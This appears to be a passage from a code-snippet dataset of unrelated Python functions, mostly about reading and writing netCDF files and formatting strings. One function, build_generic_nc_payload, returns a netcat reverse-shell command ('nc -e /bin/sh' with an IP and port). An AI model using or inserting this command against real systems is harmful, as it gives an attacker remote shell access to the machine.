centre of each range gate\",\n \"standard_name\": \"range\",\n }\n )\n\n # Create additional instrument parameters\n ncfile[\"pulse_width\"] = float(\n ncfile.hrd[\n (ncfile.hrd.find(\"\\nPULSE_WIDTH:\") + 15) : ncfile.hrd.find(\n \"\\nRX_PULSEWIDTH:\"\n )\n ]\n )\n ncfile[\"pulse_width\"] = ncfile.pulse_width.assign_attrs(\n {\n \"long_name\": \"Pulse Width\",\n \"units\": \"s\",\n \"meta_group\": \"instrument_parameters\",\n \"standard_name\": \"hrd['PULSE_WIDTH']\",\n }\n )\n ncfile[\"prt\"] = 2e-4\n ncfile[\"prt\"] = ncfile.prt.assign_attrs(\n {\n \"long_name\": \"Pulse repetition time\",\n \"units\": \"s\",\n \"meta_group\": \"instrument_parameters\",\n \"standard_name\": \"\",\n }\n )\n ncfile[\"frequency\"] = 35e9\n ncfile[\"frequency\"] = ncfile.frequency.assign_attrs(\n {\n \"long_name\": \"Radiation Frequency\",\n \"units\": \"s^-1\",\n \"meta_group\": \"instrument_parameters\",\n \"standard_name\": \"\",\n }\n )\n ncfile[\"latitude\"] = float(ncfile.Latitude[:-1])\n ncfile[\"latitude\"] = ncfile.latitude.assign_attrs(\n {\n \"long_name\": \"Latitude\",\n \"units\": \"degrees_north\",\n \"meta_group\": \"instrument_parameters\",\n \"standard_name\": \"Latitude\",\n }\n )\n ncfile[\"longitude\"] = float(ncfile.Longitude[:-1])\n ncfile[\"longitude\"] = ncfile.longitude.assign_attrs(\n {\n \"long_name\": \"Longitude\",\n \"units\": \"degrees_east\",\n \"meta_group\": \"instrument_parameters\",\n \"standard_name\": \"Longitude\",\n }\n )\n ncfile[\"altitude\"] = float(ncfile.Altitude[:-1])\n ncfile[\"altitude\"] = ncfile.altitude.assign_attrs(\n {\n \"long_name\": \"Altitude\",\n \"units\": \"m\",\n \"meta_group\": \"instrument_parameters\",\n \"standard_name\": \"Altitude\",\n }\n )\n\n # Change names of variables\n ncfile = ncfile.rename_vars(\n {\n \"Ze\": \"filtered_reflectivity\",\n \"VEL\": \"filtered_velocity\",\n \"LDR\": \"filtered_linear_depolarization_ratio\",\n \"RHO\": \"cross_correlation_ratio\",\n \"DPS\": \"differential_phase\",\n \"NyquistVelocity\": \"nyquist_velocity\",\n \"nave\": \"n_samples\",\n \"nfft\": \"n_fft\",\n \"zrg\": \"n_range_gates\",\n \"drg\": \"range_resolution\",\n }\n )\n\n # Convert dBZ variables to dBZ\n ncfile.filtered_reflectivity.values = 10 * np.log10(\n ncfile.filtered_reflectivity.values\n )\n ncfile.filtered_linear_depolarization_ratio.values = 10 * np.log10(\n ncfile.filtered_linear_depolarization_ratio.values\n )\n\n # Change attributes of variables\n ncfile[\"filtered_reflectivity\"] = ncfile.filtered_reflectivity.assign_attrs(\n {\n \"units\": \"dBZ\",\n \"valid_range\": ncfile.filtered_reflectivity.attrs.pop(\"yrange\"),\n \"standard_name\": \"Ze\",\n \"long_name\": \"Filtered Equivalent Reflectivity Factor\",\n }\n )\n ncfile[\"filtered_velocity\"] = ncfile.filtered_velocity.assign_attrs(\n {\n \"units\": \"m * s^-1\",\n \"valid_range\": ncfile.filtered_velocity.attrs.pop(\"yrange\"),\n \"standard_name\": \"VEL\",\n \"long_name\": \"Filtered Mean Doppler Velocity\",\n }\n )\n ncfile[\n \"filtered_linear_depolarization_ratio\"\n ] = ncfile.filtered_linear_depolarization_ratio.assign_attrs(\n {\n \"units\": \"dB\",\n \"valid_range\": ncfile.filtered_linear_depolarization_ratio.attrs.pop(\n \"yrange\"\n ),\n \"standard_name\": \"LDR\",\n \"long_name\": \"Filtered Linear De-Polarization Ratio\",\n }\n )\n ncfile[\n \"cross_correlation_ratio\"\n ] = ncfile.cross_correlation_ratio.assign_attrs(\n {\n \"units\": \"unitless\",\n \"valid_range\": ncfile.cross_correlation_ratio.attrs.pop(\"yrange\"),\n \"standard_name\": \"RHO\",\n \"long_name\": \"Co-Cross Correlation Ratio\",\n }\n )\n ncfile[\"differential_phase\"] = ncfile.differential_phase.assign_attrs(\n {\n \"units\": \"degrees\",\n \"valid_range\": ncfile.differential_phase.attrs.pop(\"yrange\"),\n \"standard_name\": \"DPS\",\n \"long_name\": \"Differential Phase\",\n }\n )\n ncfile[\"nyquist_velocity\"] = ncfile.nyquist_velocity.assign_attrs(\n {\n \"units\": \"m * s^-1\",\n \"meta_group\": \"instrument_parameters\",\n \"standard_name\": \"NyquistVelocity\",\n \"long_name\": \"Nyquist Velocity\",\n }\n )\n ncfile[\"n_samples\"] = ncfile.n_samples.assign_attrs(\n {\n \"units\": \"unitless\",\n \"meta_group\": \"instrument_parameters\",\n \"standard_name\": \"nave\",\n \"long_name\": \"Number of spectral averages used to compute moments\",\n }\n )\n ncfile[\"n_fft\"] = ncfile.n_fft.assign_attrs(\n {\n \"units\": \"unitless\",\n \"meta_group\": \"instrument_parameters\",\n \"standard_name\": \"nfft\",\n \"long_name\": \"Number of FFT points\",\n }\n )\n ncfile[\"prf\"] = ncfile.prf.assign_attrs(\n {\n \"units\": \"Hz\",\n \"meta_group\": \"instrument_parameters\",\n \"standard_name\": \"prf\",\n \"long_name\": \"Pulse Repetition Frequency\",\n }\n )\n ncfile[\"n_range_gates\"] = ncfile.n_range_gates.assign_attrs(\n {\n \"units\": \"unitless\",\n \"meta_group\": \"instrument_parameters\",\n \"standard_name\": \"zrg\",\n \"long_name\": \"Number of range gates\",\n }\n )\n ncfile[\"range_resolution\"] = ncfile.range_resolution.assign_attrs(\n {\n \"units\": \"m\",\n \"meta_group\": \"instrument_parameters\",\n \"standard_name\": \"drg\",\n \"long_name\": \"Range resolution\",\n }\n )\n\n # Remove unnecessary attributes of variables\n for var in ncfile.variables:\n for attr in [\"axis\", \"db\", \"unit\"]:\n if attr in ncfile[var].attrs.keys():\n del ncfile[var].attrs[attr]\n\n # Remove unnecessary global attributes\n for attr in [\"Altitude\", \"Latitude\", \"Longitude\", \"ppar\", \"hrd\"]:\n del ncfile.attrs[attr]\n\n # Reorder variables\n ncfile = ncfile[\n [\n \"filtered_reflectivity\",\n \"filtered_velocity\",\n \"filtered_linear_depolarization_ratio\",\n \"cross_correlation_ratio\",\n \"differential_phase\",\n \"nyquist_velocity\",\n \"n_fft\",\n \"prf\",\n \"prt\",\n \"n_range_gates\",\n \"range_resolution\",\n \"n_samples\",\n \"pulse_width\",\n \"frequency\",\n \"latitude\",\n \"longitude\",\n \"altitude\",\n ]\n ]\n\n # Save .nc file\n ncfile.to_netcdf(\n nc_filename,\n unlimited_dims=\"time\",\n encoding={\"time\": {\"units\": \"seconds since 1970-01-01 00:00:00\"}},\n )","def read_var(self, ncvar):\n ncf = Dataset(self.fname)\n dat = ncf.variables[ncvar][:]\n ncf.close()\n return dat","def write_netcdf(ncinfo):\r\n\t# ========== Create new netcdf ==========\r\n\tNAME=nc.netcdf_file(ncinfo.fname,'w')\r\n\t\r\n\t# ========== Set up the Dimensions ==========\r\n\tNAME.createDimension('time', None) #Question: Shouldn't time be unlimited?\r\n\t# NAME.createDimension('lev',11)\r\n\tNAME.createDimension('lat',ncinfo.lat)\r\n\tNAME.createDimension('lon',ncinfo.lon)\r\n\t\r\n\t# ========== Setup the Variables ==========\r\n\ttime=NAME.createVariable('time',np.float64,('time',))\r\n\t# lev=NAME.createVariable('lev',np.int32,('lev',))\r\n\tlat=NAME.createVariable('lat',np.float64,('lat',))\r\n\tlon=NAME.createVariable('lon',np.float64,('lon',))\r\n\t# VAR=NAME.createVariable(str(VAR),np.float64,('time','lev','lat','lon'),)\r\n\tVAR=NAME.createVariable(ncinfo.var_name,np.float64,('time','lat','lon'),)\r\n\t# setting the missing value is super important for the file to be cdo readable\r\n\tsetattr(VAR,'missing_value',ncinfo.fill)\r\n\tsetattr(VAR, 'standard_name', ncinfo.var_lname) \r\n\t\r\n\t# ========== Set the units ==========\r\n\ttime.units= 'day as %Y%m%d'\r\n\t# lev.units = '-'\r\n\tlat.units = 'degrees_north'\r\n\tlon.units = 'degrees_east'\r\n\tVAR.units = ncinfo.units\r\n\r\n\t# ========== Add data ==========\r\n\t\r\n\t# creates time vector using the date_range function\r\n\t# time[:]=[t for t in date_range('20110101.5','20111231.5')] \r\n\t# lev[:]=PFT_vector\r\n\tlat[:] = ncinfo.latitudes\r\n\tlon[:] = ncinfo.longitudes\r\n\t# THis is a Bodge for singe variable data\r\n\tVAR[:] = ncinfo.data\r\n\r\n\t#Add global attributes\r\n\tNAME.description = ncinfo.description\r\n\tNAME.history = ncinfo.history\r\n\r\n\t# WHATS MISSING\r\n\t# metadata a whole bunch of metadata\r\n\t# the standard_name and long_name of the variables\r\n\r\n\t# ========== Close the netcdf ==========\r\n\tNAME.close()","def scalar_name(m1, m2):\n root = \"/Users/atlytle/Dropbox/pycode/tifr/data/\"\n return root + \"HOscalar_l2464_m{0}_m{1}.npy\".format(m1, m2)","def string_to_param(self,string):\n\n if (string.startswith(\"log_\")): return math.log10(self.string_to_param(string[4:]))\n if (string.startswith(\"ln_\")): return math.log(self.string_to_param(string[3:]))\n if (string.startswith(\"exp_\")): return math.exp(self.string_to_param(string[4:]))\n if (string == \"Mass\"): return self.glb[imass]/constants.solar_mass\n if (string == \"Radius\"): return self.glb[iradius]/constants.solar_radius\n if (string == \"Luminosity\"): return self.glb[iluminosity]/constants.solar_luminosity\n if (string == \"Z\"): return self.glb[iz0]\n if (string == \"Y\"): return 1.0-self.glb[iz0]-self.glb[ix0]\n if (string == \"X\"): return self.glb[ix0]\n if (string == \"Ys\"): return 1.0-self.glb[user_params_index[\"Zs\"]]-self.glb[user_params_index[\"Xs\"]]\n if (string == \"zsx_s\"): return self.zsx_s\n if (string == \"zsx_0\"): return self.zsx_0\n if (string == \"Fe_H\"): return self.FeH\n if (string == \"M_H\"): return self.MH\n if (string == \"Age\"): return self.glb[iage]\n if (string == \"Teff\"): return self.glb[itemperature]\n if (string == \"Dnu\"): return self.find_large_separation()*self.glb[ifreq_ref]\n if (string == \"numax\"): return self.numax\n if (string == \"Rho\"): return 3.0*self.glb[imass]/(4.0*math.pi*self.glb[iradius]**3)\n if (string == \"g\"): return constants.G*self.glb[imass]/self.glb[iradius]**2\n if (string == \"beta_Sonoi2015\"): return self.beta_Sonoi2015\n if (string == \"b_Kjeldsen2008\"): return self.b_Kjeldsen2008\n\n try:\n return self.glb[user_params_index[string]]\n except KeyError:\n sys.exit(\"ERROR: unrecognised model quantity: \"+string)","def myr(value):\n return f\"RM{value:,.2f}\"","def get_string(self,varname):\n var=self.scope.resolve(varname)\n con=fileless_context(verbose=self.verbose)\n return var.string_context(con)","def normalize_array(var):\n if np.issubdtype(var.dtype, 'S1'):\n if var.dtype == str:\n # Python 2 on netCDF4 'string' variables needs this.\n # Python 3 returns false for np.issubdtype(var.dtype, 'S1')\n return var[:]\n\n def decoder(x):\n return str(x.decode('utf-8'))\n vfunc = np.vectorize(decoder)\n return vfunc(nc4.chartostring(var[:]))\n else:\n return var[:]","def _raw_to_string(self, dtype, units='Angstrom', atom_format=None, ghost_format=None, width=17, prec=12):\n\n #molrec = self.to_dict(force_units=units, np_out=True)\n molrec = self.to_dict(np_out=True)\n smol = molparse.to_string(molrec,\n dtype=dtype,\n units=units,\n atom_format=atom_format,\n ghost_format=ghost_format,\n width=width,\n prec=prec)\n return smol","def get_nc_var_stdname(nc_fname, nc_stdvarname):\n # Note: this may yield the wrong results if more than one var\n # has the same standard name in a file?\n # Note: Have seen two different decodings of netcdf files\n # - SUBDATASET...\n # - <varname>#<varmetadata>\n\n try:\n ds = netCDF4.Dataset(nc_fname, 'r')\n except ValueError:\n print('ValueError trying to open: {}'.format(nc_fname))\n\n ds_info = gdal.Info(nc_fname)\n ds_info_lines = ds_info.split('\\n')\n\n nc_varline = None\n nc_alt_var_name = None\n\n for i, line in enumerate(ds_info_lines):\n if ' {} '.format(nc_stdvarname) in line:\n if nc_varline is None:\n nc_varline = i - 1\n else:\n print('Warning: additional stdname also found')\n\n if '#standard_name={}'.format(nc_stdvarname) in line:\n nc_alt_var_name = line.split('#')[0]\n\n if nc_alt_var_name is not None:\n return nc_alt_var_name.lstrip()\n elif nc_varline is not None:\n colon_splits = ds_info_lines[nc_varline].split(':')\n nc_varname = colon_splits[-1]\n return nc_varname\n else:\n # Could not find standard name\n raise ValueError('Could not find stdname {} in {}'.format(\n nc_stdvarname, nc_fname))","def inputs_netCDF(ID, fname, data):\n\n from netCDF4 import Dataset #, date2num, num2date\n from datetime import datetime\n\n print('**** creating SpaFHy input netCDF4 file: ' + fname + ' ****')\n \n # create dataset & dimensions\n ncf = Dataset(fname, 'w')\n ncf.description = 'SpatialData from : ' + str(ID)\n ncf.history = 'created ' + datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n ncf.source = 'SpaFHy v.1.0 inputs'\n \n dlat, dlon = np.shape(data['cmask'])\n\n ncf.createDimension('dlon', int(dlon))\n ncf.createDimension('dlat', int(dlat))\n ncf.createDimension('scalar', 1)\n\n # create variables \n # call as createVariable(varname,type,(dimensions))\n cellsize = ncf.createVariable('cellsize', 'f4', ('scalar',))\n cellsize.units = 'm'\n lat = ncf.createVariable('lat', 'f4', ('dlat',))\n lat.units = 'ETRS-TM35FIN'\n lon = ncf.createVariable('lon', 'f4', ('dlon',))\n lon.units = 'ETRS-TM35FIN'\n\n cellsize[0] = data['cellsize']\n lon[:] = data['lon0']\n lat[:] = data['lat0']\n \n # required inputs\n cmask = ncf.createVariable('cmask', 'i4', ('dlat','dlon',))\n cmask.units = 'integer inside catchment, Nan outside'\n LAI_conif = ncf.createVariable('LAI_conif', 'f4', ('dlat','dlon',))\n LAI_conif.units = 'conifer LAI (m2m-2)'\n LAI_decid = ncf.createVariable('LAI_decid', 'f4', ('dlat','dlon',))\n LAI_decid.units = 'deciduous annual max LAI (m2m-2)' \n hc = ncf.createVariable('hc', 'f4', ('dlat','dlon',))\n hc.units = 'canopy height m' \n cf = ncf.createVariable('cf', 'f4', ('dlat','dlon',))\n cf.units = 'canopy closure (-)' \n \n soilclass = ncf.createVariable('soilclass', 'i4', ('dlat','dlon',))\n soilclass.units = 'soil class (1 - 5)'\n \n flowacc = ncf.createVariable('flowacc', 'f4', ('dlat','dlon',))\n flowacc.units = 'flow accumualtion area m2'\n slope = ncf.createVariable('slope', 'f4', ('dlat','dlon',))\n slope.units = 'local slope (deg)' \n \n for k in ['LAI_conif', 'LAI_decid', 'hc', 'cf', 'soilclass', 'flowacc', 'slope']:\n ncf[k][:,:] = data[k]\n \n print('**** done ****')","def valueToString():","def __str__(self) -> str:\n if self.afix and self.shx.frag:\n # An atom from a FRAG/FEND instruction\n return Atom._fragatomstr.format(self.name, self.x, self.y, self.z)\n else:\n if sum([abs(u) for u in self.uvals[2:]]) > 0.00001 and not self.qpeak:\n # anisotropic atom\n try:\n return Atom._anisatomstr.format(self.name, self.sfac_num, self.x, self.y, self.z, self.sof,\n *self.uvals)\n except IndexError:\n return 'REM Error in U values.'\n else:\n # isotropic atom:\n if self.qpeak:\n return Atom._qpeakstr.format(self.name, self.sfac_num, self.x, self.y, self.z, self.sof, 0.04,\n self.peak_height)\n try:\n return Atom._isoatomstr.format(self.name, self.sfac_num, self.x, self.y, self.z, self.sof,\n *self.uvals)\n except IndexError:\n return Atom._isoatomstr.format(self.name, self.sfac_num, self.x, self.y, self.z, self.sof, 0.04)","def writeNetCDFData(out_nc, hrus, dr_time, hru_type, remapped_data, var_meta, var_attrs, var_encodings, remap_idx):\n\n dataset = xr.Dataset()\n\n for varname, meta in var_meta.items():\n foo = xr.DataArray(remapped_data[varname][:, remap_idx],\n dims=['time', 'basinID'],\n name=varname)\n\n foo.encoding = var_encodings[varname]\n foo.attrs = var_attrs[varname]\n\n dataset[varname] = foo\n\n # HRU ID variables\n dataset['basinID'] = xr.DataArray(hrus[remap_idx], dims=['basinID'])\n dataset['basinID'].encoding = {'dtype': hru_type, '_FillValue': None}\n dataset['basinID'].attrs = {'long_name': 'Basin ID'}\n\n dataset[TIME_DIM_NAME] = dr_time\n\n dataset.to_netcdf(out_nc, unlimited_dims='time')","def as_string (self) :\n\n if self.is_machinetag() :\n return \"%s:%s=%s\" % (self.namespace(), self.predicate(), self.value())","def save_nc(output_file_path_str,data_arr,var_name,var_type,var_unit,longname,\r\n datetime_object,description,dt=None,verbose=False):\r\n \r\n ## Put input data into lists (if not provided as list):\r\n if type(data_arr) is not list: data_arr = [data_arr]\r\n if type(var_name) is not list: var_name = [var_name]\r\n if type(var_type) is not list: var_type = [var_type]\r\n if type(var_unit) is not list: var_unit = [var_unit]\r\n if type(longname) is not list: longname = [longname]\r\n if type(datetime_object) is not list: datetime_object = [datetime_object]\r\n \r\n ## Check length of input data:\r\n if len(set(map(np.shape, data_arr))) > 1:\r\n raise ValueError('variable arrays are not of the same shape (%s)' %\r\n map(np.shape, data_arr))\r\n if len(datetime_object)!=1 and len(datetime_object)!=data_arr[0].shape[0]:\r\n raise ValueError('length of datetime object (%s) is unequal '+\r\n 'to one or the first dimension of the variable array (%s)' %\r\n (len(datetime_object),data_arr[0].shape[0]))\r\n elif len(var_name)!=len(data_arr):\r\n raise ValueError('length of var_name list (%s) is unequal '+\r\n 'to the number of variable arrays (%s)' %\r\n (len(var_name),len(data_arr)))\r\n #elif len(var_name)!=1 and len(var_name)!=len(data_arr):\r\n # raise ValueError('length of var_name list (%s) is unequal '+\r\n # 'to one or the first dimension of the variable array (%s)' %\r\n # (len(var_name),len(data_arr)))\r\n elif len(var_type)!=1 and len(var_type)!=len(data_arr):\r\n raise ValueError('length of var_type list (%s) is unequal '+\r\n 'to one or the first dimension of the variable array (%s)' %\r\n (len(var_name),len(data_arr)))\r\n elif len(var_unit)!=1 and len(var_unit)!=len(data_arr):\r\n raise ValueError('length of var_unit list (%s) is unequal '+\r\n 'to one or the first dimension of the variable array (%s)' %\r\n (len(var_unit),len(data_arr)))\r\n elif len(longname)!=1 and len(longname)!=len(data_arr):\r\n raise ValueError('length of longname list (%s) is unequal '+\r\n 'to one or the first dimension of the variable array (%s)' %\r\n (len(longname),len(data_arr)))\r\n if len(datetime_object)==1 and len(datetime_object)!=len(data_arr) and dt is None:\r\n raise ValueError('length of time step has to be provided')\r\n\r\n if not exists(dirname(output_file_path_str)):\r\n print('... create output directory: ' + dirname(output_file_path_str))\r\n makedirs(dirname(output_file_path_str))\r\n \r\n ## Create NetCDF file:\r\n dataset = Dataset(output_file_path_str,\r\n 'w', format='NETCDF4_CLASSIC')\r\n dataset.history = 'Created ' + datetime.datetime.now().strftime(\"%d.%m.%Y %H:%M\")\r\n dataset.description = description\r\n \r\n ## Dimension creation:\r\n x = dataset.createDimension('x', data_arr[0].shape[2])\r\n y = dataset.createDimension('y', data_arr[0].shape[1])\r\n time = dataset.createDimension('time', None) # data_arr.shape[0])\r\n \r\n ## Auxilary variable creation:\r\n x_axis = dataset.createVariable('x', np.float32, ('x',))\r\n y_axis = dataset.createVariable('y', np.float32, ('y',))\r\n times = dataset.createVariable('time', np.int16, ('time',)) # u8 or i8 does not work...\r\n times.calendar = 'standard'\r\n times.units = 'minutes since %s' % datetime_object[0].strftime(\"%Y-%m-%d %H:%M:%S\")\r\n #times.units = 'seconds since 1970-01-01 00:00:00.0'\r\n \r\n ## Create time stamps variable:\r\n if len(datetime_object)==1:\r\n datetime_list = datetime_object - np.arange(data_arr[0].shape[0])*datetime.timedelta(minutes=dt)\r\n else: datetime_list = datetime_object\r\n times[:] = date2num(datetime_list,units=times.units)\r\n \r\n ## Create spatial coordinate variable:\r\n y_axis.units = 'Swiss northing CH1903 [km]'\r\n x_axis.units = 'Swiss easting CH1903 [km]'\r\n x_axis[:] = np.arange(255,965)+0.5\r\n y_axis[::-1] = np.arange(-160,480)+0.5\r\n \r\n ## Data variable creation:\r\n var_name_list = var_name #if len(var_name)==1 else var_name*len(data_arr)\r\n var_type_list = var_type if len(var_name)==1 else var_type*len(data_arr)\r\n\r\n ## Write data into variables:\r\n id_var_list=[]\r\n for i in range(len(data_arr)):\r\n #if \"int\" in var_type_list[i]:\r\n # id_var_list.append(dataset.createVariable(var_name_list[i],var_type_list[i],\r\n # ('time','y','x'),zlib=True))\r\n #else:\r\n id_var_list.append(dataset.createVariable(var_name_list[i],var_type_list[i],\r\n ('time','y','x'),zlib=True,\r\n least_significant_digit=3)) #,least_significant_digit=2\r\n id_var_list[i].setncatts({'long_name': longname[i],'units': var_unit[i]})\r\n id_var_list[i][:,:,:] = data_arr[i]\r\n\r\n ## Close file:\r\n dataset.close()\r\n if verbose: print(\" Written NetCDF file for: %s (%s)\" %\r\n (description,datetime_object[0].strftime(\"%d.%m.%y %H:%M\")))","def training_data_rho_output(P=\"{P:d}\", T=\"{T:.2f}\", J=\"{J:d}\"):\n return _training_data_rho_output.format(P, T, J)","def cam_to_string(cam):\n cam_string = (\"near;{:8f}\\n\").format(cam.nearPlane)\n cam_string += (\"far;{:8f}\\n\").format(cam.farPlane)\n cam_string += (\"focal_length;{:8f}\\n\".format(cam.projectionMatrix[0][0]))\n cam_string += (\"fov;{}\").format(cam.fov)\n return cam_string","def _parser_netcdf(self, filepath, local_attrs):\n\n fileparts = {}\n\n try:\n fileparts['variable'] = []\n fileparts['start_time'] = []\n fileparts['end_time'] = []\n fileparts['path'] = []\n\n # open file\n d = nc.Dataset(filepath, 'r')\n\n # find what the time (unlimited) dimension is\n dims = list(dict(d.dimensions).keys())\n\n # loop through all variables\n for v in d.variables:\n # add all variables that are not coordinates to the catalog\n if v not in dims:\n fileparts['variable'].append(v)\n fileparts['path'].append(filepath)\n\n if 'time' in d.variables.keys():\n times = d['time']\n fileparts['start_time'].append(times[0])\n fileparts['end_time'].append(times[-1])\n\n # add global attributes\n for g in local_attrs['global'].keys():\n if g not in fileparts.keys():\n fileparts[g] = []\n fileparts[g].append(local_attrs['global'][g])\n\n # add the keys that are common just to the particular glob string\n # fileparts.update(local_attrs[filepath])\n for lv in local_attrs[filepath].keys():\n if lv not in fileparts.keys():\n fileparts[lv] = []\n if '<<' in local_attrs[filepath][lv]:\n if hasattr(d.variables[v], lv):\n fileparts[lv].append(getattr(d.variables[v], lv))\n else:\n fileparts[lv].append('NaN')\n elif '<' in local_attrs[filepath][lv]:\n k = local_attrs[filepath][lv].replace('<', '').replace('>', '')\n if hasattr(d, k):\n fileparts[lv].append(getattr(d, k))\n else:\n fileparts[lv].append('NaN')\n else:\n fileparts[lv].append(local_attrs[filepath][lv])\n # close netcdf file\n d.close()\n except Exception:\n pass\n return fileparts","def get_netcdf_module_set_cmds(log):\n\n netcdf = os.getenv('NETCDF')\n if netcdf:\n txt = \"setenv NETCDF %s\\n\" % netcdf\n # netCDF-Fortran is optional (only for netCDF v4.2 and later)\n netcdff = os.getenv('NETCDFF')\n if netcdff:\n txt += \"setenv NETCDFF %s\\n\" % netcdff\n return txt\n else:\n log.error(\"NETCDF environment variable not set?\")","def append2ncfile(dn2t,var,num):\n print(\"appending..\")\n dn2t[num] = var","def native(self, **kwds):\n # facility values are held in variables\n return self.pyre_nameserver.variable(**kwds)","def build_generic_nc_payload(revshell_ip, revshell_port) -> str:\n return 'nc -e /bin/sh {} {}'.format(revshell_ip, revshell_port)","def filename(N, Dr, g, launch):\n\n return 'N%s_R%s_G%s_E%s.datR' % tuple(map(float_to_letters,\n (N, Dr, g, launch)))","def __str__(self):\n if self.num_channels == 1:\n return \"%s: num_samples=%d, sample_rate=%d, duration=%.2fsec, rms=%.2fdB\" % (\n type(self),\n self.num_samples,\n self.sample_rate,\n self.duration,\n self.rms_db,\n )\n else:\n rms_db_str = ', '.join([f'{rms:.2f}dB' for rms in self.rms_db])\n return \"%s: num_samples=%d, sample_rate=%d, duration=%.2fsec, num_channels=%d, rms=[%s]\" % (\n type(self),\n self.num_samples,\n self.sample_rate,\n self.duration,\n self.num_channels,\n rms_db_str,\n )","def _default_netcdf_fc(default=\"gfortran\"):\n if _has_nc_config():\n ret_val = subprocess.check_output(\"nc-config --fc\", shell=True)\n return ret_val.decode().strip()\n else:\n return default","def _dtype_to_str(dtype):\n if dtype == core.VarDesc.VarType.BF16:\n return 'bf16'\n else:\n return 'fp32'","def get_str(nr_rational):\n return f'{get_numarator(nr_rational)} / {get_numitor(nr_rational)}'","def read_nc_var(nc_file, var_name, var_date_name):\n \n fh = Dataset(nc_file, mode='r')\n var = fh.variables[var_name][:]\n var_dates = fh.variables[var_date_name][:]\n \n print(var_name,': ', var.shape)\n print(var_date_name,': ', var_dates.shape)\n \n return var, var_dates;","def map_variable(variable_name):\n return '%recipient.' + variable_name + '%'","def test_str(self):\n q0 = sym.Symbol(\"q0\")\n q2 = sym.Symbol(\"q2\")\n f = (q0 + q2) / np.sqrt(2)\n\n rrt = RegRefTransform(f)\n\n assert rrt.__str__() == \"0.707106781186547*q0 + 0.707106781186547*q2\"","def __get_dataset_name(self):\n d = gdal.Open(self.fname)\n # Get band metadata\n b = d.GetRasterBand(1)\n md = b.GetMetadata()\n\n if 'data_var' in md:\n return md['data_var']\n else:\n fnames = d.GetFileList()\n if len(fnames) > 2:\n d = gdal.Open(fnames[1])\n # Get band metadata\n b = d.GetRasterBand(1)\n md = b.GetMetadata()\n if 'data_var' in md:\n return md['data_var']\n else:\n return 'data'\n else:\n return 'data'","def cl_file(tmp_path):\n nc_path = os.path.join(tmp_path, 'cesm2_waccm_cl.nc')\n dataset = Dataset(nc_path, mode='w')\n dataset.createDimension('lev', size=2)\n dataset.createDimension('bnds', size=2)\n\n # Dimensional variables\n dataset.createVariable('lev', np.float64, dimensions=('lev',))\n dataset.createVariable('lev_bnds', np.float64, dimensions=('lev', 'bnds'))\n dataset.variables['lev'][:] = [1.0, 2.0]\n dataset.variables['lev'].bounds = 'lev_bnds'\n dataset.variables['lev'].units = '1'\n dataset.variables['lev_bnds'][:] = [[0.5, 1.5], [1.5, 3.0]]\n dataset.variables['lev_bnds'].standard_name = (\n 'atmosphere_hybrid_sigma_pressure_coordinate')\n dataset.variables['lev_bnds'].units = '1'\n dataset.variables['lev_bnds'].formula_terms = (\n 'p0: p0 a: a_bnds b: b_bnds ps: ps')\n\n # Coordinates for derivation of pressure coordinate\n dataset.createVariable('a', np.float64, dimensions=('lev',))\n dataset.createVariable('a_bnds', np.float64, dimensions=('lev', 'bnds'))\n dataset.createVariable('b', np.float64, dimensions=('lev',))\n dataset.createVariable('b_bnds', np.float64, dimensions=('lev', 'bnds'))\n dataset.variables['a'][:] = [1.0, 2.0]\n dataset.variables['a'].bounds = 'a_bnds'\n dataset.variables['a_bnds'][:] = [[1.5, 0.0], [3.0, 1.5]]\n dataset.variables['b'][:] = [0.0, 1.0]\n dataset.variables['b'].bounds = 'b_bnds'\n dataset.variables['b_bnds'][:] = [[0.5, -1.0], [2.0, 0.5]]\n\n dataset.close()\n return nc_path","def fmtd_str(self,c=False,prefix_symbol=\"\"):\n psym = prefix_symbol\n ms1 = (\n f\"{self.filename_prefix_mono}{self.event_kind:9} \"\n f\"{self.separator * len(self.stack)} \"\n )\n lms1 = len(ms1)+len(\"(\")\n join_mstr = f\",\\n{' '*lms1}\"\n mavs = (\n f\"{self.argvars}\"\n )\n ms = f\"{psym}{ms1}{mavs}\"\n if c:\n aac = argvars_argname_color = \"MAGENTA\"\n ps1 = (\n f\"{self.filename_prefix_poly}{self.color.fore(f'{self.event_kind:9}','KIND')} \"\n f\"{self.separator * len(self.stack)} \"\n )\n lps1 = lms1\n join_pstr = f\",\\n{' '*lps1}\"\n pavs = (\n f\"{self.argvars}\"\n )\n ps = f\"{psym}{ps1}{pavs}\"\n return ps\n return ms","def rAssetName(nodeNS):\n\t#return nodeNS.split('_')[0] + re.sub('.*?([0-9]*)$', r'\\1', nodeNS)\n\treturn nodeNS.split('_')[0]","def _build_fname_templ(n):\n parts =[globals.ds_fn_templ.format(i='{i_ref:d}', ds='{ref}', var='{ref_var}')]\n for i in range(1, n):\n parts += [globals.ds_fn_templ.format(i='{i_ds%i:d}' % i, ds='{ds%i}' % i,\n var='{var%i}' % i)]\n return globals.ds_fn_sep.join(parts) + '.nc'","def F_read_S5P_nc(self,fn,data_fields,data_fields_l2g=[]):\n from netCDF4 import Dataset\n ncid = Dataset(fn,'r')\n outp = {}\n for i in range(len(data_fields)):\n tmp = ncid[data_fields[i]]\n tmpdtype = tmp.dtype\n if not data_fields_l2g:\n varname = tmp.name\n else:\n varname = data_fields_l2g[i]\n if tmpdtype is \"str\":\n outp[varname] = tmp[:]\n else:\n outp[varname] = np.squeeze(tmp[:])\n ## scale factor already applied?! so confusing\n# try:\n# outp[varname] = outp[varname]*tmp.scale_factor\n# if tmp.scale_factor != 1:\n# print(varname+' has a scale_factor of '+'%s'%tmp.scale_factor)\n# except Exception:\n# #print(e)\n# print(varname+' has no scale_factor!')\n if 'time_utc' in outp.keys():\n UTC_matlab_datenum = np.zeros((len(outp['time_utc']),1),dtype=np.float64)\n for i in range(len(outp['time_utc'])):\n tmp = datetime.datetime.strptime(outp['time_utc'][i],'%Y-%m-%dT%H:%M:%S.%fZ')\n UTC_matlab_datenum[i] = (tmp.toordinal()\\\n +tmp.hour/24.\\\n +tmp.minute/1440.\\\n +tmp.second/86400.\\\n +tmp.microsecond/86400/1000000+366.)\n outp['UTC_matlab_datenum'] = np.tile(UTC_matlab_datenum,(1,outp['latc'].shape[1]))\n else: # hcho l2 does not have time_utc\n # the delta_time field of hcho fills all across track position, but ch4 is one per scanline\n if len(outp['delta_time'].shape) == 1:\n outp['delta_time'] = np.tile(outp['delta_time'][...,None],(1,outp['latc'].shape[1]))\n outp['UTC_matlab_datenum'] = (outp['time']+outp['delta_time']/1000.)/86400.+734139.\n \n outp['across_track_position'] = np.tile(np.arange(1.,outp['latc'].shape[1]+1),\\\n 